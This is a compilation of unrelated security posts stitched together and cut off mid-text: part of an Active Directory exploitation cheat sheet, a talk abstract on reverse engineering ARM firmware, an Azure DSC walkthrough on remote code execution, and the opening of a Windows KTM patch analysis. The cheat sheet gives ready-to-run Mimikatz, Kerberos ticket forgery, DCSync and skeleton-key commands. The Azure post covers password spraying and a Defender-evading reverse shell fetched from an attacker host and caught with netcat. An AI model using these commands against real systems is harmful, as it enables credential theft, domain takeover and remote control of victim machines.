module and execute its functions remotely #Execute the command and start a session Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess #Interact with the session Enter-PSSession -Session $sess Executing Remote Stateful commands #Create a new session $sess = New-PSSession -ComputerName <NameOfComputer> #Execute command on the session Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process} #Check the result of the command to confirm we have an interactive session Invoke-Command -Session $sess -ScriptBlock {$ps} Mimikatz & Invoke-Mimikatz #Dump credentials: Invoke-Mimikatz -DumpCreds #Dump credentials in remote machines: Invoke-Mimikatz -DumpCreds -ComputerName <ComputerName> #Execute classic mimikatz commands: Invoke-Mimikatz -Command '"sekrlusa::<ETC ETC>"' Detailed Mimikatz Guide Useful Tools Powercat netcat written in powershell, and provides tunneling, relay and portforward capabilities. SCShell fileless lateral movement tool that relies on ChangeServiceConfigA to run command Evil-Winrm the ultimate WinRM shell for hacking/pentesting RunasCs Csharp and open version of windows builtin runas.exe Domain Privilege Escalation Kerberoast PowerView: #Get User Accounts that are used as Service Accounts Get-NetUser -SPN #Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast #Requesting the TGS for a single account: Request-SPNTicket #Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"' AD Module: #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName Impacket: python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName> ASREPRoast PowerView: Get-DomainUser -PreauthNotRequired -Verbose AD Module: Get-ADUser -Filter {DoesNoteRequirePreAuth -eq $True} -Properties DoesNoteRequirePreAuth Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts: Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable! PowerView: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose And finally execute the attack using the ASREPRoast tool. #Get a spesific Accounts hash: Get-ASREPHash -UserName <UserName> -Verbose #Get any ASREPRoastable Users hashes: Invoke-ASREPRoast -Verbose Using Rubeus: #Trying the attack for all domain users .\Rubeus.exe asreproast /outfile:<NameOfTheFile> Using Impacket: #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName> Password Spray Attack If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts. Tools: DomainPasswordSpray CrackMapExec SharpHose Spray Force Set SPN WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it. PowerView: #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} #Check if current user has already an SPN setted: Get-DomainUser -Identity <UserName> | select serviceprincipalname #Force set the SPN on the account: Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'} AD Module: #Check if current user has already an SPN setted Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName #Force set the SPN on the account: Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'} Finally use any tool from before to grab the hash and kerberoast it! Abusing Shadow Copies If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation. #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows #List shadow copies using diskshadow diskshadow list shadows all #Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ You can dump the backuped SAM database and harvest credentials. Look for DPAPI stored creds and decrypt them. Access backuped sensitive files. List and Decrypt Stored Credentials DPAPI all the things Unconstrained Delegation WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him! Using PowerView: #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained #List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"' #Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay <WaitInterval> -Verbose #Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' #Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"' Note: We can also use Rubeus! Constrained Delegation Using PowerView and Kekeo: #Enumerate Users and Computers with constrained delegation Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth #If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser> #Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN> #Finally use mimikatz to ptt the TGS Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"' ALTERNATIVE: Using Rubeus: Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt Now we can access the service as the impersonated user! ? If we have a machine account with Constrained Delegation: We can do the same steps as before, but insted of a user account we can use the machine's account! A nice misconfiguration is that even if we have only specified service that the machine account is allowed to delegate to, we can delegate to any service that "uses" this machine account! For example if the machine account is trusted to telegate to the DC for the "time" service, we are able to use any service we want -> ldap, cifs etc! That is super important and abusive, since if i can use ldap on DC i can DCsync impersonating the Domain Admnistrator! Resource Based Constrained Delegation WUT IS DIS?: TL;DR If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access. Tools we are going to use: PowerView Powermad Rubeus First we need to enter the security context of the user/machine account that has the privileges over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc. Exploitation Example: #Import Powermad and use it to create a new MACHINE ACCOUNT . .\Powermad.ps1 New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose #Import PowerView and get the SID of our new created machine account . .\PowerView.ps1 $ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid #Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) #Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose #After that we need to get the RC4 hash of the new machine account's password using Rubeus Rubeus.exe hash /password:'p@ssword!' #And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt #Finally we can access the C$ drive of the target machine dir \\TargetMachine.wtver.domain\C$ Detailed Articles: Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory RESOURCE-BASED CONSTRAINED DELEGATION ABUSE DNSAdmins Abuse WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work. Enumerate the members of the DNSAdmins group: PowerView: Get-NetGroupMember -GroupName "DNSAdmins" AD Module: Get-ADGroupMember -Identiny DNSAdmins Once we found a member of this group we need to compromise it (There are many ways). Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges: #Using dnscmd: dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll #Restart the DNS Service: sc \\DNSServer stop dns sc \\DNSServer start dns Abusing Active Directory-Integraded DNS Exploiting Active Directory-Integrated DNS ADIDNS Revisited Inveigh Abusing Backup Operators Group WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA. Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow: #Create a .txt file that will contain the shadow copy process script Script ->{ set metadata c:\<PathToSave>metadata.cab set context clientaccessible set context persistent begin backup add volume c: alias mydrive create expose %mydrive% w: } Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use this amazing repo: #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll #Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege #If it isn't we enable it Set-SeBackupPrivilege #Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite #Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine. Use secretsdump.py from impacket and dump the hashes. Use psexec or another tool of your choice to PTH and get Domain Admin access. Abusing Exchange Abusing Exchange one Api call from DA CVE-2020-0688 PrivExchange Exchange your privileges for Domain Admin privs by abusing Exchange Weaponizing Printer Bug Printer Server Bug to Domain Administrator NetNTLMtoSilverTicket Abusing ACLs Escalating privileges with ACLs in Active Directory aclpwn.py Invoke-ACLPwn Abusing IPv6 with mitm6 Compromising IPv4 networks via IPv6 mitm6 SID History Abuse WUT IS DIS?: If we manage to compromise a child domain of a forest and SID filtering isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the SID History field on a kerberos TGT ticket, that defines the "extra" security groups and privileges. Exploitation example: #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local #Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local #Create the Enteprise Admins SID Format: RootDomainSID-519 #Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi #Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi #List the DC of the Root Domain dir \\dc.root.domain.local\C$ #Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all Detailed Articles: Kerberos Golden Tickets are Now More Golden A Guide to Attacking Domain Trusts Domain Persistence Golden Ticket Attack #Execute mimikatz on DC as DA to grab krbtgt hash: Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName> #On any machine: Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt: <HashOfkrbtgtAccount> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"' DCsync Attack #DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges): Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"' #DCsync using secretsdump.py from impacket with NTLM authentication secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm #DCsync using secretsdump.py from impacket with Kerberos Authentication secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm Tip: /ptt -> inject ticket on current running session /ticket -> save the ticket on the system for later use Silver Ticket Attack Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service: <ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"' SPN List Skeleton Key Attack #Exploitation Command runned as DA: Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN> #Access using the password "mimikatz" Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator DSRM Abuse WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC! #Dump DSRM password (needs DA privs): Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name> #This is a local account, so we can PTH and authenticate! #BUT we need to alter the behaviour of the DSRM account before pth: #Connect on DC: Enter-PSSession -ComputerName <DC's Name> #Alter the Logon behaviour on registry: New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose #If the property already exists: Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose Then just PTH to get local admin access on DC! Custom SSP WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on! From powershell: #Get current Security Package: $packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty 'Security Packages' #Append mimilib: $packages += "mimilib" #Change the new packages name Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages #ALTERNATIVE: Invoke-Mimikatz -Command '"misc::memssp"' Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log Cross Forest Attacks Trust Tickets WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT. ⚠️ The access we will have will be limited to what our DA account is configured to have on the other Forest! Using Mimikatz: #Dump the trust key Invoke-Mimikatz -Command '"lsadump::trust /patch"' Invoke-Mimikatz -Command '"lsadump::lsa /patch"' #Forge an inter-realm TGT using the Golden Ticket attack Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid: <OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket: <PathToSaveTheGoldenTicket>"' ❗ Tickets -> .kirbi format Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource! Using Rubeus: .\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt Abuse MSSQL Servers Enumerate MSSQL Instances: Get-SQLInstanceDomain Check Accessibility as current user: Get-SQLConnectionTestThreaded Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose Gather Information about the instance: Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose Abusing SQL Database Links: WUT IS DIS?: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust! Check for existing Database Links: #Check for existing Database Links: #PowerUpSQL: Get-SQLServerLink -Instace <SPN> -Verbose #MSSQL Query: select * from master..sysservers Then we can use queries to enumerate other links from the linked Database: #Manualy: select * from openquery("LinkedDatabase", 'select * from master..sysservers') #PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests): Get-SQLServerLinkCrawl -Instance <SPN> -Verbose #Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell #Or if it is disabled enable it: EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN" Query execution: Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'" Breaking Forest Trusts WUT IS DIS?: TL;DR If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest's root domain to authenticate to us. Then we can capture it's TGT, inject it into memory and DCsync to dump it's hashes, giving ous complete access over the whole forest. Tools we are going to use: Rubeus SpoolSample Mimikatz Exploitation example: #Start monitoring for TGTs with rubeus: Rubeus.exe monitor /interval:5 /filteruser:target-dc$ #Execute the printerbug to trigger the force authentication of the target DC to our machine SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local #Get the base64 captured TGT from Rubeus and inject it into memory: Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket> #Dump the hashes of the target domain using mimikatz: lsadump::dcsync /domain:external.forest.local /all Detailed Articles: Not A Security Boundary: Breaking Forest Trusts Hunting in Active Directory: Unconstrained Delegation & Forests Trusts Sursa: https://github.com/buftas/Active-Directory-Exploitation-Cheat-Sheet

Recorded on May 1st, 2020 at the 6th annual BSides Knoxville (virtual this year) conference This is a friendly and fast introduction to reverse engineering ARM microcontroller firmware, starting from a physical device and ending with firmware that can be read, understood and patched. We’ll focus on Cortex M devices, such as the STM32 and nRF51 series. They have different architectures, registers, instruction sets, and calling conventions from x86, but they follow their own consistent rules. We’ll teach you how to rip firmware out of these devices, how to identify it and its memory map without a datasheet, and how to load it into GHIDRA or IDA Pro when no ELF headers are included. Beginners will find a handy new type of reverse engineering, and seasoned pros will still learn some nifty tricks that they might not already know.

Abusing Azure DSC — Remote Code Execution and Privilege Escalation Part (2/2) — Azure Automation DSC for Remote Code Execution and Privilege Escalation Nick Follow May 1 · 6 min read Intro In my previous post, I explained how to get started with compiling a basic configuration file for DSC. We went over how to create Resource Groups, Storage Accounts, Blobs, uploading files to storage, and writing our first configuration file all through PowerShell.(part 1). We left off with something pretty basic, so it’s time to have a bit more fun. Goal We’re going to take what we’ve learned from part 1 and expand on it. We’ll be abusing the DSC file-write and scheduled task functions in a scenario to gain remote code execution and privilege escalation as a user with contributor level access. Prerequisites It’s worth reading part 1 of this series to understand how to use DSC and setup other dependency’s as I won’t provide the same level of detail as we work through this. This time around, I’m introducing a Kali box to serve as the attacker machine, so this will be our lineup of resources: Windows VM — Victim Machine Kali Linux — Attacker Machine Resource Group Storage Account File Container Scenario In this contrived scenario, we begin by password-spraying a set of users against the azurepentest.onmicrosoft.com domain. Once we authenticate, we discover that this account has contributor level access. We then find a particular server that we’re interested in attacking. Rather than trying to look for credentials to this server, we can abuse the Azure DSC service to write code to the server and have it executed, which will fetch a reverse shell payload and have it run in memory with SYSTEM level privileges. Getting Started — Password Spray Let’s get started with some fun — we’re going to begin by password spraying users against our targeted @azurepentest.onmicrosoft.com domain. I’m going to be using an awesome script written by Beau from Black Hills Security (https://github.com/dafthack/MSOLSpray) called MSOLSpray to perform the spray. We then proceed by setting up our list of users and begin the spray: Import-Module .\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme! Figure 01: Successful Password Spray As we can see, we now have valid credentials for the user keithflick@azurepentest.onmicrosoft.com so we can now log in via Connect-AzAccount through PowerShell (don’t worry, this is all burned by now ). Remote Server (C2) Infrastructure Preparation I will be hosting a stripped-down version of the Nishang Invoke-PowerShellTcp.ps1 payload from the remote server “40.84.7.74”, which is the Kali box. The payload name will be “RevPS.ps1”. To prevent the Nishang script getting deleted by Windows Defender for any reason (maybe you’d rather drop the file to disk) I have a lightweight version here that you can use which will bypass Defender: https://github.com/nickpupp0/AzureDSCAbuse/blob/master/RevPS.ps1. This will be hosted by a simple Python Simple Server on the Kali box. Step 1 — Create Files We’ll need to create another DSC configuration file. A template can be downloaded here: https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1. This config file will use the same file-write function that we previously used. This time, the contents include code to download and execute a payload from our remote server. Also, we’re using a scheduled-task function available from the ComputerManagementDsc module. The scheduled-task function will be the key role in execution and providing us with SYSTEM privileges later on. We’ll also download a script which will be used to publish our configuration to the VM. This is located here: https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1. These files will serve as a template. You’ll need to fill in the variable names and parameters with what you’re using. This includes the resource names, file paths, and the external server/payload names that you’re using. Please refer to the comments in the code. Figure 02: Template Scripts Downloaded Step 2 — Zip Configuration File With our two files created, we’ll zip the ‘reverse_shell_config.ps1’ file so it can be sent to the Storage Account Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip Figure 03: Zip File for Storage Account Step 3 — Set Storage Context & Upload Again, we’ll setup the context of our Storage Account which I’ve already done. I already have a container named ‘azure-pentest’ so this is where I’ll be publishing mine: Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx Figure 04: Publishing Configuration to Storage Step 4 — Prep Kali Box In our Kali box, we can simply wget our PowerShell payload. The raw reverse-shell script is located here: https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1. wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 Figure 05: Downloading PS Reverse Shell We need to edit the reverse-shell script by adding our parameters in, so the Windows VM knows where to connect to once it’s executed. In my case I add following: RevPShell -Reverse 40.84.7.73 443 Figure 06: Editing the Reverse Shell Step 5 — Publish Configuration File Now we’ll run our configuration file. I have mine setup to be published to the Desktop for a better visual, however it can be published just about anywhere. After a couple of minutes, we’ll see that the reverse-shell script has been published! Figure 07: Configuration Successfully Applied Step 6 — Host Payload and Setup Listener Once we publish the configuration, we can concurrently start a Python SimpleHTTPServer over port 80 to host the payload, along with a netcat listener in order to catch the connection: sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 We see that the scheduled task has run and our payload was retrieved and executed in memory with SYSTEM level privileges! Figure 08: Reverse Shell Received Figure 09: Listing Directory on Victim Machine Wrapping Up This now opens the door for many possibilities. Since we have a shell running as SYSTEM, we can dump credentials with mimikatz (potentially risky depending on how mature the EDR is for cloud resources). If you dump creds , there's a good chance that these can be reused elsewhere across different resources. Lastly, a big takeaway is that instead of limiting this to one VM, you now have the ability to potentially apply this configuration across multiple VM’s. On that note, this concludes our Azure Automation DSC adventures! I hope you had fun, learned a lot and continue to expand with your own creativity. Until next time ~ Sources MSOLSpray dafthack/MSOLSpray A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is… github.com Computer Management DSC dsccommunity/ComputerManagementDsc DSC resources for for configuration of a Windows computer. These DSC resources allow you to perform computer management… github.com Nishang Invoke-PowerShellTcp.ps1 Script samratashok/nishang By nikhil_mitt Import all the scripts in the current PowerShell session (PowerShell v3 onwards). PS C:\nishang>… github.com cepheisecurity Sursa: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

CVE-2018-8611 Exploiting Windows KTM Part 2/5 – Patch analysis and basic triggering Aaron Adams Research May 4, 2020 29 Minutes TL;DR Diving into the patch Patch diffing Tidying Hex-Rays output with "Shifted Pointers" Shifted pointers? Initial Hex-Rays output Dealing with shifted pointers Resulting Hex-Rays output Patch analysis Vulnerable code Patched code Congestioning the mutex? Initial strategy for exploitation Reaching the vulnerable code Transaction state prerequisites Transitioning state Enlistment state prerequisites Preparing for a recovery Building our race transaction Triggering the vulnerability with an assisted race condition Forcing the race window open How to free a _KENLISTMENT on demand? Confirming our understanding Conclusion TL;DR Now that we have some basic understanding of KTM functions and the KTM subsystem, as described in part 1 of our blog series, let’s take a look at the vulnerability root cause. We used Diaphora to diff the Windows 7 patch and Windows 10 patch to start. At this time we hadn’t decided which version to do our in-depth analysis on yet, and wanted to confirm that the vulnerability was similar on the latest version of Windows as an older one. Then, we go over a really useful feature of IDA since 7.2 called "Shifted Pointers" which we haven’t seen heavily detailed by other research and show how it helps us reversing KTM code efficiently. Finally, we analyze how we reach the vulnerable code and explain why we decided to trigger the vulnerability with the help of the WinDbg debugger in order to confirm our understanding of the vulnerability as well as how we would approach exploitation. Diving into the patch Patch diffing The CVE-2018-8611 vulnerabilty was patched in December 2018. It is often useful to diff a patch on multiple Windows versions for the following reasons: Some new features are implemented in some versions but not others Some functions are inlined in some versions but not others A patch is in one module in some versions but in a different one in others Consequently, this make it sometimes easier to understand a patch on one Windows version. Once you have understood the patch, you can generally easily port it to another version. In our case the important functional changes on Windows 10 are actually the same as Windows 7, so not particually useful here, but this practice is worth keeping in mind when doing this type of diffing work. On Windows 7 x64 SP1, we noted KB4471328 was released to replace KB4467107. So these are the two versions we reversed and diffed with Diaphora. The reason we take KB4471328 instead of KB4471318 is because it contains less files so it is generally easier to see which file(s) changed: Since there is no tm.sys on Windows 7, we only analyse ntoskrnl.exe. The generation of .sqlite for each ntoskrnl.exe took 20 minutes and the actual diff took 3 minutes. Note that after you generate the .sqlite for each version, you need to do the actual diff from the old version IDB in order to get the expected result (green color for new code and red for old code). We get the following relevant partial matches: We see a number of interesting functions, but most notable is TmRecoverResourcemanager(). One small thing to note: as the name TmRecoverResourcemanager() indicates, KTM-related functions are identifiable by a Tm or Tmp function name prefix. Tm most probably stands for "Transaction Manager". We don’t know for sure what the P in Tmp stands for, but it could indicate ‘private’ as it is generally only ‘called’ internally by other KTM functions. The majority of functions that have a TmXXX name are wrapped by a corresponding NtXXX system call, whereas TmpYYY functions are all internal functions called by TmXXX functions and don’t have some directly corresponding system call. If we recall from the Kaspersky blog they said the exploit was calling NtRecoverResourceManager() function trying to trigger the bug, so we are pretty certain TmRecoverResourceManager() is our candidate, especially because NtRecoverResourceManager() directly calls into TmRecoverResourceManager(): There are about 4 pages worth of assembly-level changes in TmRecoverResourceManager() similar to the image below: So the vulnerability is not something simple like a better length check implying a simple integer overflow, etc. (which we knew from Kaspersky’s analysis anyway). If we use the Hex-Rays decompiler view for the diff instead, we get a much better picture. Below corresponds to the only changes in the TmRecoverResourceManager() function. Even if for now we don’t analyse the changes yet, we see how Hex-Rays is valuable compared to the previously assembly diff: Note that the changes above are for a naked IDB i.e. without our reversing and cleaning up of the Hex-Rays output. The next 2 screenshots show the diff where we actually spent significant time cleaning up the IDB outputs and making them more readable: Note that you would need to re-do the diff using Diaphora after cleaning up both versions of your binary for best results. On Windows 10, the diff methodology is very similar. We use tm.sys instead of ntoskrnl.exe though. Since tm.sys is a lot smaller than ntoskrnl.exe the diff is a lot faster and it only gives TmRecoverResourceManager() function for changes which confirms our understanding on Windows 7. Tidying Hex-Rays output with "Shifted Pointers" This is a diversion from the vulnerability, and you can skip this part if you are not interested in internal features of IDA Pro/Hex-Rays. Shifted pointers? In order to get the decompilation shown above looking clear, we heavily used a feature called "Shifted Pointers" in Hex-Rays to help clean up the output of the related functions, and thought it was worth describing in case people were not too familiar with it. It was the first time we used this feature. Shifted pointers are briefly documented here. This functionality was added in IDA 7.2 and is a bit more documented here. We encountered an annoyance while analyzing some KTM functionality in so far as there are numerous pointers that are assigned to the address of internal members of a structure (like the middle of the structure), but then that new pointer is used to access other structure members relative to the position of member the pointer points to. If you read our part 1 of our blog series, we described that _KRESOURCEMANAGER.EnlistmentHead.Flink == &_KENLISTMENT.NextSameRM. How do we make it useful when reversing? Initial Hex-Rays output Initially, we renamed variables in Hex-Rays and we had the following Hex-Rays output that is fairly confusing to read. For example look at v9 and v6 and access from them below. They are grouped by accesses [aX] and [bX]: __int64 __fastcall TmRecoverResourceManager(_KRESOURCEMANAGER *pResMgr) { _KRESOURCEMANAGER *pResMgr_; // r12 char v2; // r14 _KTM *Tm; // rax _LIST_ENTRY *EnlistmentHead_ptr; // r13 _LIST_ENTRY *curr_Enlistment_list_entry; // rdi _LIST_ENTRY *v6; // rdi int v7; // er15 unsigned int v8; // er14 __int64 v9; // rsi // ... pResMgr_ = pResMgr; v2 = 0; Src_4 = 0; KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); if ( pResMgr_->State == 1 ) pResMgr_->State = 2; Tm = pResMgr_->Tm; if ( Tm && Tm->State == 3 ) { EnlistmentHead_ptr = &pResMgr_->EnlistmentHead; curr_Enlistment_list_entry = pResMgr_->EnlistmentHead.Flink; while ( curr_Enlistment_list_entry != EnlistmentHead_ptr ) { [a1] v9 = &curr_Enlistment_list_entry[-9].Blink; curr_Enlistment_list_entry = curr_Enlistment_list_entry->Flink; [a2] if ( !(*(v9 + 0xAC) & 4) ) { [a3] KeWaitForSingleObject((v9 + 64), Executive, 0, 0, 0i64); [a4] *(v9 + 172) |= 0x80u; [a5] KeReleaseMutex((v9 + 64), 0); } } [b1] v6 = EnlistmentHead_ptr->Flink; v7 = v19; [b2] while ( v6 != EnlistmentHead_ptr ) { [b3] if ( BYTE4(v6[2].Flink) & 4 ) { [b4] v6 = v6->Flink; } else { [b5] ObfReferenceObject(&v6[-9].Blink); [b6] KeWaitForSingleObject(&v6[-5].Blink, Executive, 0, 0, 0i64); v10 = 0; [b7] if ( (HIDWORD(v6[2].Flink) & 0x80u) != 0 ) { [b8] v11 = HIDWORD(v6[2].Flink) & 1; [b9] if ( v11 && ((v12 = v6[1].Blink[12].Flink, v12 == 3) || v12 == 4) ) { v10 = 1; v7 = 2048; } [b10] else if ( !v11 && LODWORD(v6[1].Blink[12].Flink) == 5 || (v13 = v6[1].Blink[12].Flink, v13 == 4) || v13 == 3 ) { v10 = 1; v7 = 256; } [b11] HIDWORD(v6[2].Flink) &= 0xFFFFFF7F; } Dealing with shifted pointers In the excerpt above, we see lots of magic and 